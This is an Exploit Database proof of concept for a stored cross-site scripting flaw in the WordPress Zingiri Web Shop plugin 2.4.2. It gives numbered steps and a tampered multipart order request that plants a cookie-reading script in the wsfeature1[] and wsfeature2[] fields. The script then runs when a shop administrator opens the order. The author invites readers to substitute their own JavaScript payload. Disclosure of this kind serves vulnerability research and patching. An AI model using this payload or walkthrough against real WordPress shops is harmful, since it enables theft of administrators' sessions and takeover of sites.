WordPress Plugin Zingiri Web Shop 2.4.2 – Persistent Cross-Site Scripting

Exploit Database
121 阅读

作者： Mehmet Ince

日期： 2012-05-01
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18806/

##############################################################################

# WordPress Zingiri Web Shop Plugin <= 2.4.2 Stored XSS

# Exploit Title: WordPress Zingiri Web Shop Plugin <= 2.4.0 Stored XSS

# Google Dork:

# Date: 30 Apr 2012

# Author: Mehmet Ince

# Twitter: https://twitter.com/#!/mmetince

# Company: Bilgi Guvenligi Akademisi ( www.bga.com.tr )

# Software Link:

# http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.2.zip

# Version: 2.4.2

# Tested on: ubuntu 11.10 with apache server on the Firefox browser.

##############################################################################

Few days ago i discovered two XSS vulnerabilities at Zingiri wp-plugin.

After that script version updated 2.4.2 and bug fixed.

When i realized that i checked the lastest script to learn, "what did they

for securing code ?"

http://www.exploit-db.com/exploits/18787/

i saw aphpsSanitize() method atvulnerable section. aphpsSanitize() pretty

cool for preventing XSS.

But what a luck, i discovered something else.

Now, time to explain our new bug. That's almost same with my oldest but

more complicated.

step 1: Login to wordpress.

step 2: Go to "Shop" menu. It's should be stay at banner.

step 3: Than you'll see list ot items. Click one "t-shirt" item.

step 4.1: Star Firefox's extension "Tamper Data"

step 4: You can pass that form action. That wont be problem..! Click to

"Order" button.

-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="prodid"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="prodprice"\r\n\r\n35.95\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="featuresets"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="wsfeature1[]"\r\n\r\n"><script>alert(document.cookie)</script>\r\n\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="wsfeature2[]"\r\n\r\n\"><script>alert(document.cookie)</script>\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="numprod[]"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:

form-data;

name="sub"\r\n\r\nOrder\r\n-----------------------------16079283545224173541938629871--\r\n

write your javascript payload to wsfeature1[] and wsfeature2[] variable.

step 4.2: After you send POST request. you'll see some pop-ups. click ok

and go

step 5: There is confirmation about the Shopping. Click "checkout" to pass

that page.

step 6: Click to "Checkout"

step 7: When administrator open your order details. Your javascript

payload'll come from database and execute on the administrator side.

But victem have to click detail of your order. Like that "WEB20128-08".